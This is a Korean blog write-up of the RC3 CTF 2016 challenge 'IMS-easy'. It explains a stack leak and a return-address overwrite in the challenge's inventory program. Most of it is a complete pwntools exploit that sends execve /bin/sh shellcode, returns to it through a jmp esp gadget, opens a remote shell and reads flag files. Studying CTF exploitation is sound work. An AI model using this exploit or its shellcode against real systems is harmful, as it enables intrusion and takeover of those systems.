본문 바로가기

Conference/Write up

IMS-easy - RC3 CTF 2016 150pt



실행하면 대충 이렇다

[2016-11-06 04:26:37] [root@ubuntu_x64] ~/wargame/rc3
$ ./IMS-easy
================================================
|RC3 Inventory Management System (public alpha)|
================================================
1. Add record
2. Delete record
3. View record
4. Quit
Choose:



View record 를 선택하면 기록한 레코드들이 나오는데,
이 레코드를 보여줄 때 리스트나 배열의 인덱스로 보여주는 것이 아니라
write(stdout, Variable+n, 8) 과 같이 단순 메모리 주소계산에 따른 출력이어서
스택값들이 다 릭이 된다.
Add Record 또한 스택에 집어넣고 있기 때문에 특정 바이트 이상을 넣으면 RET 가 덮인다.
IMS-easy 의 경우 보호기법이 아무것도 걸려있지 않았기 때문에
쉘코드를 위치에 맞게 재배열하고 jmp esp 로 해결함


from pwn import *


IP = 'localhost'

PORT = 40645

IP = 'ims.ctf.rc3.club'

PORT = 7777


conn = remote(IP,PORT)

conn.recvuntil('Choose:')




jmpesp = 0x080def77

shellcode = '6a68682f2f2f7368 2f62696e 6a0b5889e331c999 cd80'


payload = ""

payload += "1\n1\n1\n"

payload += "1\n2\n2\n"

payload += "1\n3\n3\n"

payload += "1\n4\n4\n"

payload += "1\n5\n5\n"

payload += "1\n6\n0A0A0A0A0A0A0A0\n"

payload += "1\n%d\n0B0B0B0B0B0B0B0\n"%(jmpesp) #esp


'''

payload += "1\n%d\n%s"%(0x2f62696e, "12345678")

payload += "1\n%d\n%s"%(0x0000cd80, "90abcdef")

0xffff9770:     0x31    0x32    0x33    0x34    0x35    0x36    0x37    0x38

0xffff9778:     0x6e    0x69    0x62    0x2f    0x00    0x00    0x00    0x00

0xffff9780:     0x00    0x00    0x00    0x00    0xb0    0x81    0x04    0x08

0xffff9788:     0x00    0x00    0x00    0x00    0x0c    0x00

'''

payload += "1\n%d\n%s\n"%(0x6e69622f, "6a68682f2f2f7368".decode('hex'))

payload += "1\n%d\n%s\n"%(0x80cd, "6a0b5889e331c999".decode('hex'))

payload += "4\n"

conn.send(payload)

conn.send('cat /home/*/flag.txt\n')

conn.interactive()



'Conference > Write up' 카테고리의 다른 글

codegate - hunting  (0) 2017.02.16
IMS-hard - RC3 CTF 2016 400pt  (0) 2016.11.21
defcon24 - feedme  (0) 2016.06.08
2014 DEFCON - sftp  (0) 2014.06.08
PCTF 2K13 ropasaurusrex  (0) 2014.04.29